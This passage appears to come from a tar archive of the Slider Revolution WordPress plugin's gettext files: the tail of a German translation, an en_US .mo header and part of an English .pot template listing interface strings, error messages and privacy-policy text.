admin/views/builder-layer-forms.php:1310 msgid "Corners" msgstr "Ecken" #: admin/views/builder-layer-forms.php:1341 msgid "Split Chars" msgstr "Zeichen teilen" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Forward" msgstr "Vorwärts" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Backward" msgstr "Rückwärts" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Middle To Edge" msgstr "Mitte zum Rand" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Edge to Middle" msgstr "Rand bis Mitte" #: admin/views/builder-layer-forms.php:1411 msgid "Split Words" msgstr "Wörter teilen" #: admin/views/builder-layer-forms.php:1481 msgid "Split Lines" msgstr "Linien teilen" #: admin/views/builder-layer-forms.php:1568 msgid "No Special Effect" msgstr "Kein Spezialeffekt" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Left" msgstr "Block nach links" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Right" msgstr "Block nach rechts" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Top" msgstr "Block nach oben" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Bottom" msgstr "Block nach unten" #: admin/views/builder-layer-forms.php:1570 msgid "Block Color" msgstr "Blockfarbe" #: admin/views/builder-layer-forms.php:1592 msgid "Layer Loop Animations" msgstr "Ebenen-Loop-Animationen" #: admin/views/builder-layer-forms.php:1599 msgid "Enable Timeline Loops" msgstr "Aktivieren Sie Zeitleisten-Loops" #: admin/views/builder-layer-forms.php:1602 msgid "Enable Loop Effects" msgstr "Aktivieren Sie die Loop-Effekte" #: admin/views/builder-layer-forms.php:1612 msgid "Layer Timline Loop" msgstr "Layer-Zeitleisten-Loop" #: admin/views/builder-layer-forms.php:1614 msgid "Start Frame" msgstr "Frame starten" #: admin/views/builder-layer-forms.php:1615 msgid "End Frame" msgstr "Frame beenden" #: admin/views/builder-layer-forms.php:1616 msgid "Loop Amount" msgstr "Loop Anzahl" #: admin/views/builder-layer-forms.php:1617 msgid "Animate to \"Start\" in Loop" msgstr "Animiere zu \"Start\" im Loop" #: admin/views/builder-layer-forms.php:1618 msgid "Reset Children Timeline" msgstr "Reset untergeordnete Zeitleiste" #: admin/views/builder-layer-forms.php:1623 msgid "" "Restriction !
            Children Layers of Group, Column and Row will simply " "restart, without animation from the last loop Frame to first loop frame, " "independent of the Animate to \"start\" in Loop enabled option." msgstr "" "Einschränkung!
            Untergeordnete Ebenen aus Gruppe, Spalte und Zeile " "werden einfach ohne Animation vom letzten Loop-Frame zum ersten Loop-Frame " "neu gestartet, unabhängig von der Option \"Animieren zum\" Start \"in Loop " "aktiviert." #: admin/views/builder-layer-forms.php:1636 msgid "Layer Looping Effects" msgstr "Layer-Looping-Effekte" #: admin/views/builder-layer-forms.php:1640 msgid "Load Loop Template" msgstr "Loop Vorlage laden" #: admin/views/builder-layer-forms.php:1662 msgid "Move" msgstr "Bewegen" #: admin/views/builder-layer-forms.php:1664 msgid "Rotate" msgstr "Drehen" #: admin/views/builder-layer-forms.php:1671 msgid "Yoyo" msgstr "Yoyo" #: admin/views/builder-layer-forms.php:1685 msgid "Curved" msgstr "Gebogen" #: admin/views/builder-layer-forms.php:1687 msgid "Auto Rotate" msgstr "Automatisch drehen" #: admin/views/builder-layer-forms.php:1772 #: admin/views/builder-layer-forms.php:1776 msgid "Presets" msgstr "Voreinstellungen" #: admin/includes/shortcode_generator/shortcode_generator.class.php:215 msgid "Revolution Slider 6" msgstr "Slider Revolution 6" #. Author of the plugin #: admin/includes/shortcode_generator/gutenberg/gutenberg-block.php:56 msgid "ThemePunch" msgstr "ThemePunch" #: admin/includes/shortcode_generator/elementor/elementor-widget.class.php:49 msgid "Slider Revolution:" msgstr "Slider Revolution:" #: admin/includes/shortcode_generator/elementor/elementor-widget.class.php:72 msgid "Select / Edit Slider" msgstr "Slider auswählen/bearbeiten" #. Description of the plugin msgid "Slider Revolution - Premium responsive slider" msgstr "Slider Revolution - Premium Response Slider" #. URI of the plugin msgid "https://www.sliderrevolution.com/" msgstr "https://www.sliderrevolution.com/" #. Author URI of the plugin msgid "https://themepunch.com/" msgstr "https://themepunch.com/" languages/revslider-en_US.mo000060400000001703151724235750012065 0ustar00$,,-Project-Id-Version: Slider Revolution Report-Msgid-Bugs-To: POT-Creation-Date: 2019-06-28 07:35+0000 PO-Revision-Date: 2019-06-28 07:46+0000 Last-Translator: admin Language-Team: English (United States) Language: en_US Plural-Forms: nplurals=2; plural=n != 1; MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Poedit-SourceCharset: UTF-8 X-Poedit-Basepath: . X-Poedit-KeywordsList: _:1;gettext:1;dgettext:2;ngettext:1,2;dngettext:2,3;__:1;_e:1;_c:1;_n:1,2;_n_noop:1,2;_nc:1,2;__ngettext:1,2;__ngettext_noop:1,2;_x:1,2c;_ex:1,2c;_nx:1,2,4c;_nx_noop:1,2,3c;_n_js:1,2;_nx_js:1,2,3c;esc_attr__:1;esc_html__:1;esc_attr_e:1;esc_html_e:1;esc_attr_x:1,2c;esc_html_x:1,2c;comments_number_link:2,3;t:1;st:1;trans:1;transChoice:1,2 X-Loco-Target-Locale: en_US X-Generator: Loco https://localise.biz/ X-Loco-Version: 2.2.2; wp-5.2.2 X-Poedit-SearchPath-0: .. languages/revslider.pot000060400000525724151724235750011263 0ustar00# Loco Gettext template #, fuzzy msgid "" msgstr "" "Project-Id-Version: Slider Revolution \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-06-28 07:35+0000\n" "POT-Revision-Date: Tue Aug 04 2015 14:53:44 GMT+0200 (CEST)\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: admin \n" "Language-Team: \n" "Language: \n" "Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-Basepath: .\n" "X-Poedit-SearchPath-0: ..\n" "X-Poedit-KeywordsList: _:1;gettext:1;dgettext:2;ngettext:1,2;dngettext:2,3;" "__:1;_e:1;_c:1;_n:1,2;_n_noop:1,2;_nc:1,2;__ngettext:1,2;__ngettext_noop:1,2;" "_x:1,2c;_ex:1,2c;_nx:1,2,4c;_nx_noop:1,2,3c;_n_js:1,2;_nx_js:1,2,3c;" "esc_attr__:1;esc_html__:1;esc_attr_e:1;esc_html_e:1;esc_attr_x:1,2c;" "esc_html_x:1,2c;comments_number_link:2,3;t:1;st:1;trans:1;transChoice:1,2\n" "X-Loco-Target-Locale: en_US\n" "X-Generator: Loco https://localise.biz/" #: revslider.php:147 msgid "" "If you want to use the PHP function \"add_revslider\" in your code please " "make sure to activate " msgstr "" #: revslider.php:148 msgid "\"Include RevSlider libraries globally\" " msgstr "" #: revslider.php:149 msgid "and/or add the current page to the " msgstr "" #: revslider.php:150 msgid "\"Pages to include RevSlider libraries\" option " msgstr "" #: revslider.php:151 msgid "in the \"Global Settings\" of Slider Revolution." msgstr "" #: revslider.php:201 msgid "Revolution Slider Error:" msgstr "" #: includes/woocommerce.class.php:43 msgid "Product" msgstr "" #: includes/woocommerce.class.php:44 msgid "Product Variation" msgstr "" #: includes/woocommerce.class.php:130 admin/views/builder-slider-forms.php:636 msgid "Regular Price" msgstr "" #: includes/woocommerce.class.php:131 admin/views/builder-slider-forms.php:640 msgid "Sale Price" msgstr "" #: includes/woocommerce.class.php:132 msgid "Number Of Sales" msgstr "" #: includes/woocommerce.class.php:133 msgid "Featured Products" msgstr "" #: includes/woocommerce.class.php:134 admin/views/modals-builder.php:594 msgid "SKU" msgstr "" #: includes/woocommerce.class.php:135 admin/views/modals-builder.php:596 msgid "Stock Quantity" msgstr "" #: includes/slide.class.php:257 msgid "Slide ID" msgstr "" #: includes/slide.class.php:873 msgid "Source must be from Stream" msgstr "" #: includes/slide.class.php:1961 admin/revslider-admin.class.php:1991 #: admin/views/builder-slide-forms.php:480 msgid "Global Layers" msgstr "" #: includes/output.class.php:5686 msgid "" "No slides found, please add at least one Slide Template to the choosen " "language." msgstr "" #: includes/output.class.php:5688 msgid "No slides found, please add some slides" msgstr "" #: includes/output.class.php:5857 msgid "Please follow this link to edit the Slider:" msgstr "" #: includes/external-sources.class.php:385 msgid "Can't get the bearer token, check your credentials" msgstr "" #: includes/external-sources.class.php:438 msgid "Bearer Token is good, check your query" msgstr "" #: includes/external-sources.class.php:592 msgid "Instagram reports: Parse script error" msgstr "" #: includes/external-sources.class.php:598 msgid "Instagram reports: Content did not match expected" msgstr "" #: includes/external-sources.class.php:601 msgid "Instagram reports: Content is private" msgstr "" #: includes/em-integration.class.php:32 msgid "All Events" msgstr "" #: includes/em-integration.class.php:33 msgid "Today" msgstr "" #: includes/em-integration.class.php:34 msgid "Tomorrow" msgstr "" #: includes/em-integration.class.php:35 msgid "Future" msgstr "" #: includes/em-integration.class.php:36 msgid "Past" msgstr "" #: includes/em-integration.class.php:37 msgid "This Month" msgstr "" #: includes/em-integration.class.php:38 msgid "Next Month" msgstr "" #: includes/em-integration.class.php:160 msgid "Event Start Date" msgstr "" #: includes/em-integration.class.php:161 msgid "Event End Date" msgstr "" #: includes/data.class.php:35 msgid "Loaded Google Fonts" msgstr "" #: includes/data.class.php:38 includes/data.class.php:39 #: includes/data.class.php:40 msgid "Serif Fonts" msgstr "" #: includes/data.class.php:43 includes/data.class.php:44 #: includes/data.class.php:45 includes/data.class.php:46 #: includes/data.class.php:47 includes/data.class.php:48 #: includes/data.class.php:49 includes/data.class.php:50 msgid "Sans-Serif Fonts" msgstr "" #: includes/data.class.php:53 includes/data.class.php:54 msgid "Monospace Fonts" msgstr "" #: includes/data.class.php:65 msgid "Google Fonts" msgstr "" #: includes/data.class.php:199 msgid "Original" msgstr "" #: includes/data.class.php:200 includes/data.class.php:242 #: includes/data.class.php:257 msgid "Large" msgstr "" #: includes/data.class.php:201 msgid "Large Square" msgstr "" #: includes/data.class.php:202 includes/data.class.php:232 #: includes/data.class.php:241 includes/data.class.php:256 msgid "Medium" msgstr "" #: includes/data.class.php:203 msgid "Medium 800" msgstr "" #: includes/data.class.php:204 msgid "Medium 640" msgstr "" #: includes/data.class.php:205 includes/data.class.php:240 msgid "Small" msgstr "" #: includes/data.class.php:206 msgid "Small 320" msgstr "" #: includes/data.class.php:207 includes/data.class.php:214 #: includes/data.class.php:226 includes/data.class.php:255 #: admin/views/builder-slide-forms.php:20 msgid "Thumbnail" msgstr "" #: includes/data.class.php:208 msgid "Square" msgstr "" #: includes/data.class.php:213 includes/data.class.php:220 msgid "Standard Resolution" msgstr "" #: includes/data.class.php:215 msgid "Low Resolution" msgstr "" #: includes/data.class.php:225 includes/data.class.php:254 #: admin/views/builder-slide-forms.php:709 msgid "Original Size" msgstr "" #: includes/data.class.php:231 admin/views/builder-nav-forms.php:838 #: admin/views/modals-builder.php:323 admin/views/modals-builder.php:324 #: admin/views/modals-builder.php:325 admin/views/modals-builder.php:326 #: admin/views/builder-slide-forms.php:296 #: admin/views/builder-slide-forms.php:301 #: admin/views/builder-slide-forms.php:306 #: admin/views/builder-slide-forms.php:565 msgid "Default" msgstr "" #: includes/data.class.php:233 msgid "High" msgstr "" #: includes/data.class.php:234 msgid "Standard" msgstr "" #: includes/data.class.php:235 msgid "Max. Res." msgstr "" #: includes/functions.class.php:85 msgid "Slider Revolution encountered the following error: " msgstr "" #: includes/functions.class.php:225 msgid " should be numeric" msgstr "" #: includes/functions.class.php:235 msgid " should not be empty" msgstr "" #: includes/functions.class.php:1161 msgid "Wrong category format" msgstr "" #: includes/functions.class.php:1563 #, php-format msgid "View all posts in %s" msgstr "" #: includes/wpml.class.php:39 msgid "The WPML plugin is not activated" msgstr "" #: includes/wpml.class.php:55 includes/wpml.class.php:128 msgid "All Languages" msgstr "" #: includes/object-library.class.php:206 includes/object-library.class.php:219 #: includes/object-library.class.php:321 msgid "Plugin not activated" msgstr "" #: includes/object-library.class.php:248 includes/object-library.class.php:345 msgid "No data received" msgstr "" #: includes/object-library.class.php:252 includes/object-library.class.php:270 #: includes/object-library.class.php:273 msgid "Error downloading object" msgstr "" #: includes/object-library.class.php:310 msgid "Error downloading layers" msgstr "" #: includes/object-library.class.php:349 includes/object-library.class.php:356 msgid "Error downloading layers data" msgstr "" #: includes/slider.class.php:665 msgid "Slide not found in the main slides of the slider. Maybe it" msgstr "" #: includes/slider.class.php:950 msgid "A Slider with the given alias already exists" msgstr "" #: includes/slider.class.php:1359 includes/slider.class.php:1366 #: includes/slider.class.php:1374 msgid "Slide could not be duplicated" msgstr "" #: includes/slider.class.php:1483 msgid "This Source Type must be from posts." msgstr "" #: includes/slider.class.php:1626 includes/slider.class.php:1641 msgid "Sorry, this Social Stream cannot be displayed." msgstr "" #: includes/navigation.class.php:241 msgid "Invalid ID" msgstr "" #: includes/navigation.class.php:244 msgid "Navigation could not be deleted" msgstr "" #: includes/navigation.class.php:520 msgid "Can't modify a default preset of default navigations" msgstr "" #: includes/navigation.class.php:536 includes/navigation.class.php:576 msgid "Preset handle already exists, please choose a different name" msgstr "" #: includes/navigation.class.php:636 msgid "Navigation not found, could not add preset" msgstr "" #: includes/navigation.class.php:671 msgid "Can't delete default preset of default navigations" msgstr "" #: includes/navigation.class.php:673 msgid "Preset not found in default navigations" msgstr "" #: includes/navigation.class.php:685 admin/revslider-admin.class.php:920 msgid "Preset not found" msgstr "" #: includes/navigation.class.php:710 msgid "Navigation not found, could not delete preset" msgstr "" #: includes/extension.class.php:47 admin/includes/widget.class.php:14 msgid "Slider Revolution" msgstr "" #: includes/extension.class.php:105 msgid "Choose Revolution Slider" msgstr "" #: includes/extension.class.php:109 msgid "--- Choose Slider ---" msgstr "" #: admin/revslider-admin.class.php:246 msgid "Choose Slide Template" msgstr "" #: admin/revslider-admin.class.php:404 msgid "" "Activate Slider Revolution for Premium Benefits (e.g. " "Live Updates)." msgstr "" #: admin/revslider-admin.class.php:415 msgid "A new version of Slider Revolution is available." msgstr "" #: admin/revslider-admin.class.php:436 msgid "" "

            In case you’re using Google Web Fonts (default) or playing videos or " "sounds via YouTube or Vimeo in Slider Revolution we recommend to add the " "corresponding text phrase to your privacy police:

            \n" "\t\t

            YouTube

            Our website uses plugins from YouTube, which is " "operated by Google. The operator of the pages is YouTube LLC, 901 Cherry Ave." ", San Bruno, CA 94066, USA.

            If you visit one of our pages featuring a " "YouTube plugin, a connection to the YouTube servers is established. Here the " "YouTube server is informed about which of our pages you have visited.

            " "If you're logged in to your YouTube account, YouTube allows you to associate " "your browsing behavior directly with your personal profile. You can prevent " "this by logging out of your YouTube account.

            YouTube is used to help " "make our website appealing. This constitutes a justified interest pursuant " "to Art. 6 (1) (f) DSGVO.

            Further information about handling user data," " can be found in the data protection declaration of YouTube under " "https://www.google.de/intl/de/policies/privacy.

            \n" "\t\t

            Vimeo

            Our website uses features provided by the Vimeo video " "portal. This service is provided by Vimeo Inc., 555 West 18th Street, New " "York, New York 10011, USA.

            If you visit one of our pages featuring a " "Vimeo plugin, a connection to the Vimeo servers is established. Here the " "Vimeo server is informed about which of our pages you have visited. In " "addition, Vimeo will receive your IP address. This also applies if you are " "not logged in to Vimeo when you visit our plugin or do not have a Vimeo " "account. The information is transmitted to a Vimeo server in the US, where " "it is stored.

            If you are logged in to your Vimeo account, Vimeo " "allows you to associate your browsing behavior directly with your personal " "profile. You can prevent this by logging out of your Vimeo account.

            " "For more information on how to handle user data, please refer to the Vimeo " "Privacy Policy at " "https://vimeo.com/privacy.

            \n" "\t\t

            Google Web Fonts

            For uniform representation of fonts, this " "page uses web fonts provided by Google. When you open a page, your browser " "loads the required web fonts into your browser cache to display texts and " "fonts correctly.

            For this purpose your browser has to establish a " "direct connection to Google servers. Google thus becomes aware that our web " "page was accessed via your IP address. The use of Google Web fonts is done " "in the interest of a uniform and attractive presentation of our plugin. This " "constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            If " "your browser does not support web fonts, a standard font is used by your " "computer.

            Further information about handling user data, can be found " "at " "https://developers.google.com/fonts/faq and in Google's privacy policy " "at " "https://www.google.com/policies/privacy/.

            \n" "\t\t

            SoundCloud

            On our pages, plugins of the SoundCloud social " "network (SoundCloud Limited, Berners House, 47-48 Berners Street, London W1T " "3NF, UK) may be integrated. The SoundCloud plugins can be recognized by the " "SoundCloud logo on our site.

            \n" "\t\t\t

            When you visit our site, a direct connection between your browser " "and the SoundCloud server is established via the plugin. This enables " "SoundCloud to receive information that you have visited our site from your " "IP address. If you click on the “Like” or “Share” buttons while you are " "logged into your SoundCloud account, you can link the content of our pages " "to your SoundCloud profile. This means that SoundCloud can associate visits " "to our pages with your user account. We would like to point out that, as the " "provider of these pages, we have no knowledge of the content of the data " "transmitted or how it will be used by SoundCloud. For more information on " "SoundCloud’s privacy policy, please go to https://soundcloud." "com/pages/privacy.

            If you do not want SoundCloud to associate your " "visit to our site with your SoundCloud account, please log out of your " "SoundCloud account.

            " msgstr "" #: admin/revslider-admin.class.php:484 msgid "Function Not Available in Demo Mode" msgstr "" #: admin/revslider-admin.class.php:506 admin/revslider-admin.class.php:512 msgid "Function Only Available for Adminstrators" msgstr "" #: admin/revslider-admin.class.php:521 msgid "Bad Request" msgstr "" #: admin/revslider-admin.class.php:532 msgid "The Purchase Code needs to be set!" msgstr "" #: admin/revslider-admin.class.php:537 msgid "Plugin successfully activated" msgstr "" #: admin/revslider-admin.class.php:539 admin/includes/template.class.php:60 msgid "Purchase Code is invalid" msgstr "" #: admin/revslider-admin.class.php:542 msgid "Purchase Code already registered!" msgstr "" #: admin/revslider-admin.class.php:544 msgid "Purchase Code was locked, please contact the ThemePunch support!" msgstr "" #: admin/revslider-admin.class.php:546 msgid "Purchase Code could not be validated" msgstr "" #: admin/revslider-admin.class.php:553 msgid "Plugin deregistered" msgstr "" #: admin/revslider-admin.class.php:555 msgid "Deregistration failed!" msgstr "" #: admin/revslider-admin.class.php:569 msgid "Saved" msgstr "" #: admin/revslider-admin.class.php:580 msgid "Connection to Update Server Failed" msgstr "" #: admin/revslider-admin.class.php:631 admin/revslider-admin.class.php:693 msgid "Slider Import Failed" msgstr "" #: admin/revslider-admin.class.php:634 msgid "Template Slider Import Failed" msgstr "" #: admin/revslider-admin.class.php:645 msgid "Template Slider Installation Failed" msgstr "" #: admin/revslider-admin.class.php:669 msgid "Slide duplication failed" msgstr "" #: admin/revslider-admin.class.php:753 msgid "Slider Deleted" msgstr "" #: admin/revslider-admin.class.php:765 msgid "Duplication Failed" msgstr "" #: admin/revslider-admin.class.php:773 msgid "Slide Saved" msgstr "" #: admin/revslider-admin.class.php:775 msgid "Slide not found" msgstr "" #: admin/revslider-admin.class.php:829 admin/revslider-admin.class.php:1668 #: admin/revslider-admin.class.php:1673 msgid "Slider not found" msgstr "" #: admin/revslider-admin.class.php:863 msgid "Posts" msgstr "" #: admin/revslider-admin.class.php:890 msgid "Global Settings saved/updated" msgstr "" #: admin/revslider-admin.class.php:892 admin/revslider-admin.class.php:895 msgid "Global Settings not saved/updated" msgstr "" #: admin/revslider-admin.class.php:903 msgid "Navigation preset saved/updated" msgstr "" #: admin/revslider-admin.class.php:906 msgid "Preset could not be saved/values are the same" msgstr "" #: admin/revslider-admin.class.php:917 msgid "Navigation preset deleted" msgstr "" #: admin/revslider-admin.class.php:950 msgid "Animation deleted" msgstr "" #: admin/revslider-admin.class.php:952 msgid "Deletion failed" msgstr "" #: admin/revslider-admin.class.php:970 msgid "Animation saved" msgstr "" #: admin/revslider-admin.class.php:973 msgid "Animation could not be saved" msgstr "" #: admin/revslider-admin.class.php:1005 admin/revslider-admin.class.php:1011 msgid "Slider could not be loaded" msgstr "" #: admin/revslider-admin.class.php:1074 msgid "New Folder" msgstr "" #: admin/revslider-admin.class.php:1081 msgid "Folder Creation Failed" msgstr "" #: admin/revslider-admin.class.php:1090 msgid "Folder Deleted" msgstr "" #: admin/revslider-admin.class.php:1092 msgid "Folder Deletion Failed" msgstr "" #: admin/revslider-admin.class.php:1101 msgid "Tags Updated" msgstr "" #: admin/revslider-admin.class.php:1103 msgid "Failed to Update Tags" msgstr "" #: admin/revslider-admin.class.php:1114 msgid "Slider Moved to Folder" msgstr "" #: admin/revslider-admin.class.php:1116 msgid "Failed to Move Slider Into Folder" msgstr "" #: admin/revslider-admin.class.php:1127 msgid "Title updated" msgstr "" #: admin/revslider-admin.class.php:1129 msgid "Failed to update Title" msgstr "" #: admin/revslider-admin.class.php:1135 msgid "Slider Revolution Preview" msgstr "" #: admin/revslider-admin.class.php:1250 msgid "Invalid Email" msgstr "" #: admin/revslider-admin.class.php:1253 msgid "Success! Please check your E-Mails to finish the subscription" msgstr "" #: admin/revslider-admin.class.php:1256 msgid "Invalid Email/Could not connect to the Newsletter server" msgstr "" #: admin/revslider-admin.class.php:1259 msgid "No Email given" msgstr "" #: admin/revslider-admin.class.php:1296 msgid "Favorite Changed" msgstr "" #: admin/revslider-admin.class.php:1323 msgid "Object could not be loaded" msgstr "" #: admin/revslider-admin.class.php:1333 msgid "Video cover could not be loaded" msgstr "" #: admin/revslider-admin.class.php:1357 msgid "Could not create Slide" msgstr "" #: admin/revslider-admin.class.php:1377 msgid "Could not create Slider" msgstr "" #: admin/revslider-admin.class.php:1408 msgid "AddOn could not be activated" msgstr "" #: admin/revslider-admin.class.php:1420 msgid "AddOn deactivated" msgstr "" #: admin/revslider-admin.class.php:1422 msgid "AddOn could not be deactivated" msgstr "" #: admin/revslider-admin.class.php:1549 msgid "Successfully fetched Facebook albums" msgstr "" #: admin/revslider-admin.class.php:1551 msgid "Could not fetch Facebook albums" msgstr "" #: admin/revslider-admin.class.php:1555 msgid "Cleared Albums" msgstr "" #: admin/revslider-admin.class.php:1564 msgid "Successfully fetched flickr photosets" msgstr "" #: admin/revslider-admin.class.php:1566 msgid "Could not fetch flickr photosets" msgstr "" #: admin/revslider-admin.class.php:1571 msgid "Cleared Photosets" msgstr "" #: admin/revslider-admin.class.php:1573 msgid "No User URL - Could not fetch flickr photosets" msgstr "" #: admin/revslider-admin.class.php:1576 msgid "No API KEY - Could not fetch flickr photosets" msgstr "" #: admin/revslider-admin.class.php:1585 msgid "Successfully fetched YouTube playlists" msgstr "" #: admin/revslider-admin.class.php:1587 msgid "Could not fetch YouTube playlists" msgstr "" #: admin/revslider-admin.class.php:1595 msgid "Slider Revolution database structure was updated" msgstr "" #: admin/revslider-admin.class.php:1626 msgid "No response on action" msgstr "" #: admin/revslider-admin.class.php:1677 msgid "No Data Received" msgstr "" #: admin/revslider-admin.class.php:1686 msgid "Loading Error" msgstr "" #: admin/revslider-admin.class.php:1686 msgid "Loading Error: " msgstr "" #: admin/revslider-admin.class.php:1759 msgid "Please Wait a Moment" msgstr "" #: admin/revslider-admin.class.php:1760 admin/revslider-admin.class.php:1857 msgid "Ooppps...." msgstr "" #: admin/revslider-admin.class.php:1761 admin/revslider-admin.class.php:1858 msgid "None of the Settings changed. There is Nothing to Save" msgstr "" #: admin/revslider-admin.class.php:1762 admin/revslider-admin.class.php:1859 msgid "Enter Preset Name to Save or Delete" msgstr "" #: admin/revslider-admin.class.php:1763 admin/revslider-admin.class.php:1860 msgid "Custom Size is currently Disabled" msgstr "" #: admin/revslider-admin.class.php:1764 admin/revslider-admin.class.php:1861 msgid "" "The Current Size is set to calculate the Layer grid sizes Automatically.
            " "Do you want to continue with Custom Sizes or do you want to keep the " "Automatically generated sizes ?" msgstr "" #: admin/revslider-admin.class.php:1765 admin/revslider-admin.class.php:1862 msgid "Keep Auto Sizes" msgstr "" #: admin/revslider-admin.class.php:1766 admin/revslider-admin.class.php:1863 msgid "Use Custom Sizes" msgstr "" #: admin/revslider-admin.class.php:1767 admin/revslider-admin.class.php:1864 msgid "What should happen Next?" msgstr "" #: admin/revslider-admin.class.php:1768 admin/revslider-admin.class.php:1865 msgid "Need Attention by removing" msgstr "" #: admin/revslider-admin.class.php:1769 admin/revslider-admin.class.php:1866 msgid "Where do you want to move the Inherited Layers?" msgstr "" #: admin/revslider-admin.class.php:1770 admin/revslider-admin.class.php:1867 msgid "Drag & Drop Import File" msgstr "" #: admin/revslider-admin.class.php:1771 admin/revslider-admin.class.php:1868 msgid "or" msgstr "" #: admin/revslider-admin.class.php:1772 admin/revslider-admin.class.php:1869 msgid "Click to Choose" msgstr "" #: admin/revslider-admin.class.php:1773 admin/revslider-admin.class.php:1870 msgid "Embed" msgstr "" #: admin/revslider-admin.class.php:1774 admin/revslider-admin.class.php:1871 msgid "Export" msgstr "" #: admin/revslider-admin.class.php:1775 admin/revslider-admin.class.php:1873 #: admin/views/builder-nav-forms.php:230 admin/views/builder-nav-forms.php:370 #: admin/views/builder-nav-forms.php:557 admin/views/builder-nav-forms.php:741 msgid "Delete" msgstr "" #: admin/revslider-admin.class.php:1776 admin/revslider-admin.class.php:1874 #: admin/views/builder.php:141 msgid "Duplicate" msgstr "" #: admin/revslider-admin.class.php:1777 admin/revslider-admin.class.php:1875 #: admin/views/modals-general.php:40 admin/views/builder.php:303 msgid "Preview" msgstr "" #: admin/revslider-admin.class.php:1778 admin/revslider-admin.class.php:1876 #: admin/views/modals-builder.php:582 msgid "Tags" msgstr "" #: admin/revslider-admin.class.php:1779 admin/revslider-admin.class.php:1877 msgid "Folder" msgstr "" #: admin/revslider-admin.class.php:1780 admin/revslider-admin.class.php:1878 msgid "Rename" msgstr "" #: admin/revslider-admin.class.php:1781 admin/revslider-admin.class.php:1879 msgid "Root Level" msgstr "" #: admin/revslider-admin.class.php:1782 admin/revslider-admin.class.php:1880 #: admin/includes/shortcode_generator/shortcode_generator.class.php:122 msgid "Root" msgstr "" #: admin/revslider-admin.class.php:1783 admin/revslider-admin.class.php:1881 #: admin/includes/shortcode_generator/shortcode_generator.class.php:148 msgid "Show" msgstr "" #: admin/revslider-admin.class.php:1784 admin/revslider-admin.class.php:1882 #: admin/includes/shortcode_generator/shortcode_generator.class.php:149 msgid "Per Page" msgstr "" #: admin/revslider-admin.class.php:1791 #: admin/includes/shortcode_generator/shortcode_generator.class.php:112 msgid "© Copyright & License Info" msgstr "" #: admin/revslider-admin.class.php:1792 admin/views/overview.php:125 msgid "Registered" msgstr "" #: admin/revslider-admin.class.php:1793 msgid "Unregistered" msgstr "" #: admin/revslider-admin.class.php:1794 msgid "Dismiss Messages" msgstr "" #: admin/revslider-admin.class.php:1795 msgid "Some AddOns have new versions available" msgstr "" #: admin/revslider-admin.class.php:1796 msgid "New Version Available. Please Update" msgstr "" #: admin/revslider-admin.class.php:1797 msgid "AddOns Outdated. Please Update" msgstr "" #: admin/revslider-admin.class.php:1798 msgid "Plugin is not Registered" msgstr "" #: admin/revslider-admin.class.php:1799 msgid "Register to unlock Premium Features" msgstr "" #: admin/revslider-admin.class.php:1800 msgid "Register to Unlock all Features" msgstr "" #: admin/revslider-admin.class.php:1801 msgid "Register to unlock AddOns" msgstr "" #: admin/revslider-admin.class.php:1802 msgid "Register to unlock Support" msgstr "" #: admin/revslider-admin.class.php:1803 msgid "Register to unlock Library" msgstr "" #: admin/revslider-admin.class.php:1804 msgid "Register to unlock Updates" msgstr "" #: admin/revslider-admin.class.php:1805 msgid "Register to unlock Templates" msgstr "" #: admin/revslider-admin.class.php:1806 msgid "Do you want to start the Update process?" msgstr "" #: admin/revslider-admin.class.php:1807 admin/revslider-admin.class.php:1889 #: admin/views/overview.php:98 msgid "Update Now" msgstr "" #: admin/revslider-admin.class.php:1808 msgid "Higher Level" msgstr "" #: admin/revslider-admin.class.php:1809 msgid "Current Level" msgstr "" #: admin/revslider-admin.class.php:1810 msgid "Other Folders" msgstr "" #: admin/revslider-admin.class.php:1811 msgid "Parent Level" msgstr "" #: admin/revslider-admin.class.php:1812 msgid "from" msgstr "" #: admin/revslider-admin.class.php:1813 msgid "to" msgstr "" #: admin/revslider-admin.class.php:1814 msgid "Action Needed" msgstr "" #: admin/revslider-admin.class.php:1815 msgid "Done" msgstr "" #: admin/revslider-admin.class.php:1816 msgid "Update All" msgstr "" #: admin/revslider-admin.class.php:1817 msgid "Update Later" msgstr "" #: admin/revslider-admin.class.php:1818 msgid "The following AddOns require an update:" msgstr "" #: admin/revslider-admin.class.php:1819 msgid "AddOns need attention" msgstr "" #: admin/revslider-admin.class.php:1820 msgid "Updating Plugin Failed" msgstr "" #: admin/revslider-admin.class.php:1821 msgid "Updating Plugin..." msgstr "" #: admin/revslider-admin.class.php:1822 msgid "License validation issue Occured. Please contact our Support." msgstr "" #: admin/revslider-admin.class.php:1823 msgid "Back to Overview" msgstr "" #: admin/revslider-admin.class.php:1824 msgid "Page is reloading..." msgstr "" #: admin/revslider-admin.class.php:1825 msgid "Update Plugin" msgstr "" #: admin/revslider-admin.class.php:1826 msgid "Slider Revolution Plugin updated Successfully." msgstr "" #: admin/revslider-admin.class.php:1827 msgid "Slider Revolution Plugin updated Failure:" msgstr "" #: admin/revslider-admin.class.php:1828 msgid "Slider Revolution Plugin updated Successfully to" msgstr "" #: admin/revslider-admin.class.php:1829 msgid "Reload Page" msgstr "" #: admin/revslider-admin.class.php:1830 #: admin/includes/shortcode_generator/shortcode_generator.class.php:123 msgid "Loading" msgstr "" #: admin/revslider-admin.class.php:1831 #: admin/includes/shortcode_generator/shortcode_generator.class.php:124 msgid "Elements" msgstr "" #: admin/revslider-admin.class.php:1832 #: 